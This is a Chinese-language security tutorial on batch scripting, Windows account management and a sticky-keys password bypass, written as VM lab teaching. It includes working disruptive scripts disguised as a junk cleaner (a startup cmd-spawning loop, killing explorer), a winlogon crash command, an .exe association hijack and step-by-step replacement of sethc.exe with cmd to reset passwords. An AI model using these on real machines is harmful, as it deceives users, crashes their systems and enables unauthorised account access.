网安-02-批处理、病毒、用户与组管理、破解系统密码
目录
批处理和病毒
第六章 用户与组管理
破解系统密码
批处理和病毒
目录
初识批处理
一个简单的批处理程序
1、引入
2、echo 输出
3、变量
4、if、goto
病毒
简单的批处理文件一
简单的批处理文件二
最简单的病毒
最简单的病毒解药
最简单的脚本
最简单的死循环脚本
整人网页
初识批处理
- 如何批处理:
命名:.bat
方法:创建一个记事本文件,然后将其扩展改为.bat
- 批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条。
- 运行环境:当然是我们cmd了
回归我学过的任何一门语言都是从一个简单的**程序开始的,批处理也同样如此
一个简单的批处理程序
1、引入
-
d:
-
cd\
-
cd temp
-
del ,/s/q
我们把几条dos命令汇聚在一起,这就进入了批处理的范畴
2、echo 输出
-
-
color 0a
-
title 飞哥小程序v1.0
-
-
echo ==========================
-
echo 菜单
-
echo 1、修改管理员密码
-
echo 2、定时关机
-
echo 3、退出本程序
-
echo ===========================
-
-
pause
看不懂?先不急,我们先来看一下运行效果:
@echo off #关闭回显
color 0a #设置窗口显示颜色
-
color:
-
指定控制台输出的颜色属性
-
颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为文字颜色。
-
每个数字可以为以下任何值之一:
-
0 = 黑色 8 = 灰色
-
1 = 蓝色 9 = 淡蓝色
-
2 = 绿色 A = 淡绿色
-
3 = 湖蓝色 B = 淡浅绿色
-
4 = 红色 C = 淡红色
-
5 = 紫色 D = 淡紫色
-
6 = 黄色 E = 淡黄色
-
7 = 白色 F = 亮白色
-
例如: "cilor fc" 亮白色背景,淡红色文字颜色。
title #设置程序名
例如:title 飞哥小程序v1.0
pause #暂停屏幕(没有这条语句,我们是看不到上图的显示效果的,程序只会一闪而过)
3、变量
-
-
color 0a
-
title 飞哥小程序v1.0
-
-
echo ==========================
-
echo 菜单
-
echo 1、修改管理员密码
-
echo 2、定时关机
-
echo 3、退出本程序
-
echo ===========================
-
-
set /p u=请输入用户名:
-
set /p p=请输入新密码:
-
net user %u% %p% >nul
-
-
-
pause
同样我们先来看下效果:
set /p u= ( 字符串 ) #获取输入的字符,将其赋值给变量u
%u% #提取变量u的值
net user 用户名 密码 #修改账户密码(windows所有平台支持)
>nul #清除一条命令执行后系统反馈
再来看一下效果:
后面的“命令成功完成”就不见了!
4、if、goto
-
@echo off
-
color 0a
-
title 飞哥小程序v1.0
-
-
:menu
-
cls
-
echo ==========================
-
echo 菜单
-
echo 1、修改管理员密码
-
echo 2、定时关机
-
echo 3、退出本程序
-
echo ===========================
-
-
set /p num=您的选择是:
-
if "%num%"=="1" goto 1
-
if "%num%"=="2" goto 2
-
if "%num%"=="3" goto 3
-
echo 被闹,好好输!
-
pause
-
goto menu
-
-
:1
-
set /p u=请输入用户名:
-
set /p p=请输入新密码:
-
net user %u% %p% >nul
-
echo 您的密码已经设置成功!
-
pause
-
goto menu
-
-
:2
-
set /p time=请输入时间:
-
shutdown -s -t %time%
-
set /p x=是否取消(1:是,0:否):
-
if "%x%"=="1" shutdown -a
-
goto menu
-
pause
-
-
:3
-
exit
分区块
:menu
"menu"区块
:1
“1”区块
:2
“2”区块
:3
"3"区块
goto 区块名 #程序跳该区块
例如:goto menu #程序跳至“menu区块”
if "%num%"=="1" 命令1 #如果条件成立,执行命令1;条件不成立,跳过命令1,向下走
cls #清屏
shutdown -s -t 100 #定时关机
-
常用shutdown命令:
-
shutdown -a #取消关机
-
shutdown -s #关机
-
shutdown -f #强行关闭应用程序
-
shutdown -l #注销当前用户
-
shutdown -r #关机并重启
-
shutdown -s -t 时间 #定时关机
-
shutdown -h #休眠
-
更多的 cmd:
-
shutdown ?
-
查看
好了,通过我们以上所学的命令,这样一个简单的批处理程序就写完了。
病毒
测试环境:虚拟机win2003
注:一些简单的病毒程序请勿在真实机中测试
简单的批处理文件一
功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出CMD窗口
-
@echo off
-
title 系统垃圾清理
-
color 2f
-
echo =======若杀毒软件恶意拦截,请选择【允许程序的所有操作】========
-
echo.
-
echo.
-
echo :start>c:\windows\windows.bat
-
echo start cmd>>c:\windows\windows.bat
-
echo goto start>>c:\windows\windows.bat
-
copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\" >nul
-
if %errorlevel%==0 goto next
-
copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul
-
if %errorlevel%==1 goto error
-
:next
-
echo.
-
echo.
-
echo ====== 垃圾清理中,请不要关闭窗口======
-
echo.
-
ping -n 5 127.0.0.1 >nul
-
echo.
-
echo ====== 垃圾清理完毕,共清理垃圾500M===
-
echo.
-
echo.
-
echo ====== 建议立即重启电脑
-
pause
-
goto ex
-
-
:error
-
echo.
-
echo.
-
echo ====== 程序运行失败,请使用【管理员权限】重新运行!======
-
echo.
-
pause
-
goto ex
-
-
:ex
-
exit
echo. #输出一个空
注:系统启动菜单位置这里是winxp和win2003的位置,至于win后续系统或其他系统,去问万能的度娘
我们来看一下运行效果:
运行完成后我们可以看到在开始启动项中多了一个windows.bat文件。
重启之后,电脑完全死机了。
简单的批处理文件二
功能:伪装垃圾清理程序强制终止桌面进程
-
@echo off
-
title 系统垃圾清理
-
color 2f
-
echo ====== 若有杀毒软件恶意拦截,请选择【允许程序的所有操作】=====
-
echo.
-
echo.
-
-
:next
-
echo.
-
echo.
-
echo ====== 垃圾清理中,请不要关闭窗口=======
-
echo.
-
ping -n 5 127.0.0.1 >nul
-
taskkill /im explorer.exe /f >nul 2>nul
-
echo.
-
echo. ===== 完了,你系统废了======
-
ping -n 5 127.0.0.1>nul
-
echo.
-
start c:\windows\explorer.exe
-
echo.
-
echo ====== 已经修复好了!是不是吓坏了!!嘿嘿=========
-
pause
>nul 2>nul 消息全部屏蔽
详细请访问:https://blog.csdn.net/weixin_43252204/article/details/105394751
桌面进程被杀死!
桌面进程恢复:
最简单的蓝屏炸弹文件
ntsd -c q -pn winlogon.ex
分析:
ntsd #杀死进程
ntsd -c q -pn 进程名 #强制杀死进程
蓝屏原因:winlogon 进程不能被杀死,我想强制杀死,系统不让,结果导致蓝屏!
对win2003有很大的杀伤力,但对win2008基本没有杀伤力
最简单的病毒
assoc.exe=txtfile
分析:
修改文件关联,导致文件无法正常打开
测试效果:
最简单的病毒解药
assoc.exe=exefile
只需将文件后缀与其关联文对应即可
最简单的脚本
方法:将.txt改为.vbs
msgbox "我最帅!"
测试效果:
最简单的死循环脚本
-
do
-
msgbox "我最帅!"
-
loop
测试:
效果:窗口无法关闭
解决方法:
vbs 使用微软自带的wscript.exe来编写的
一个有趣的小脚本,大家可以试试
-
do
-
msgbox "飞哥最帅!"
-
msgbox "小子,你对这件事有异议吗"
-
msgbox "你要为此付出代价"
-
msgbox "从现在开始我要求你点100下鼠标"
-
msgbox "100"
-
msgbox "99"
-
msgbox "98"
-
msgbox "97"
-
msgbox "96"
-
msgbox "95"
-
msgbox "94"
-
msgbox "93"
-
msgbox "92"
-
msgbox "91"
-
msgbox "90"
-
msgbox "...."
-
msgbox "3"
-
msgbox "2"
-
msgbox "1"
-
msgbox "如果你看到这里,说明你确实很执着,你感动了我,请再点一下"
-
msgbox "年轻人,有时候执着也没用,换个姿势再来一次"
-
loop
注:可以用修改图标软件修改vbs文件图标
整人网页
-
-
<html>
-
<head>
-
<meta charset="utf-8">
-
<meta http-equiv="X-UA-Compatible" content="IE=edge">
-
<title>很恶心的常见整人效果的代码</title>
-
<link rel="stylesheet" href="">
-
</head>
-
<body>
-
<a href="" onmouseover="alert('飞哥真帅');
-
alert('飞哥真帅');
-
alert('飞哥是真帅');
-
alert('飞哥是真帅');
-
alert('飞哥是真的帅');
-
alert('同意不!');
-
alert('不同意?');
-
alert('去死吧');
-
">不许把鼠标移到这里!</a>点了真爽!!!
-
</body>
-
</html>
测试效果:
-
第六章 用户与组管理
windows服务器系统:win2000 win2003 win2008 win2012
linux服务器系统:Redhat Centos
用户管理
每个用户有自己的唯一的SID(安全标识符)
用户SID
系统SID
windows 系统管理员administrator的UID是 500
普通用户是1000 开始的
linux 系统管理员root 的UID是 0
普通用户是1000开始
账号密码存储的位置 :C:\windows\system32\config\SAM #暴力破解,撞库
windows系统上,默认密码最长有效期42天(尤其是服务器系统)
内置账户
- 给人使用的:
administrator 管理员账号
guest 来宾账户
- 计算机服务组件
system 系统账户,权限至高无上
local services 本地服务账户 普通权限
network services 网络服务账户 普通权限
配置文件
windows ”用户“
账户dos命令
-
net user 列出计算机当前的用户列表
-
net user 账户名 字符串 #修改密码 (只有管理员可以用)
-
net user 账户名 #查看账户信息
-
net user 账户名 密码 /add #新建账户
-
net user 账户名 密码 /del #删除账户
-
net user 账户名 /active:yes/no #激活或禁用账户
组管理
组的作用:简化权限赋予
赋权限方式:
1)用户 - 组-赋权限
2)用户-赋权限
内置组(系统自带组)
内置组的权限已经被系统赋予
-
administrators #管理员组
-
guests #来宾组
-
users #普通用户组
-
network #网络配置组
-
print #打印机组
-
Remote Desktop #远程桌面组
-
net localgroup
-
net localgroup 组名
-
net localgroup 组名 /add
-
net localgroup 组名 用户名 /add
-
net localgroup 组名 用户名 /del
-
net localgroup 组名 /del
服务器远程管理
图形化远程管理
运行 :“mstsc”
telnet(命令行)\
查看本地上所有开放的端口 cmd “netstat -an”
telnet:23
远程桌面协议RDP:3389
针对xp或2003的蓝屏命令
taskkill /im explorer.exe /f
破解系统密码
利用5次shift漏洞破解win7密码
漏洞
漏洞1:未登陆系统前连按5次shift弹出程序c:\windows\system32\sethc.exe
漏洞2:部分win7及win10系统在未进入系统时,可以通过系统修复漏洞篡改系统文件名!
注:如果win7或win10已修补此漏洞2,则无法利用
破解过程相关知识
cmd工具路径
c:\windows\system32\cmd
用户/账户密码存储位置
c:\windows\system32\config\SAM
修改账户密码;
netuser 用户名 新密码
利用5次shift漏洞破解win7密码(详)
目录
实验 利用5次shift漏洞破解win7密码
漏洞
实验环境:
准备
开始
实验 利用5次shift漏洞破解win7密码
漏洞
漏洞1:未登陆系统前连按5次shift弹出程序c:\windows\system32\sethc.exe
漏洞2:部分win7及win10系统在未进入系统时,可以通过系统修复漏洞篡改系统文件名!
只要是win7或win10存在这两个漏洞,就可对其进行破解
实验环境:
虚拟机:VMware Workstation 15.5 pro
虚拟机系统:
准备
1、设定账户密码
开始
2、开机进入登录界面,(这里鼠标一定要点击到虚拟机里面去)连按shift键5次,弹出下面的对话框,说明存在5次shift漏洞,这个程序的位置:c:\windows\system32\sethc.exe
思路:用cmd窗口程序来替换这个程序
3、重启,在这个界面下把电源拔了。
那么我们在虚拟机里面如何拔电源呢
(开机如果未出现此界面,建议再拔电源一次,win7一般两次,win10一般三次)进入修复界面,这里 当然是选择启动修复了,我们利用的就是启动修复的漏洞
点击取消
它会继续尝试修复
等待...
好了,我们想要的界面终于出来了,点击查看问题详细信息
下拉至最后
进入我们记事本
我们选择 文件 -- 另存为 进入以下界面
点击进入,就到我们的C盘了
依次进入目录:windows\system32
cmd程序和粘贴键程序都在c:\windows\system32\cmd
5次shift漏洞的程序c:\windows\system32\sethc.exe
找到我们的5次shift漏洞的程序,将这个程序重命名(改成什么都可以,)
我们这里重命名成ssss
再找到我们的cmd程序
右键 -- 复制 -- 粘贴 -- 形成一个cmd副本,将其重命名为sethc
将其重命名为sethc
好了,到这里我们就基本上已经成功了。
关闭记事本,选择 --取消 --重新启动
回到我们的注销界面
这次再连按5次shift,我们的cmd窗口就被调出来了
再操作一波,用这个密码登陆系统就可以了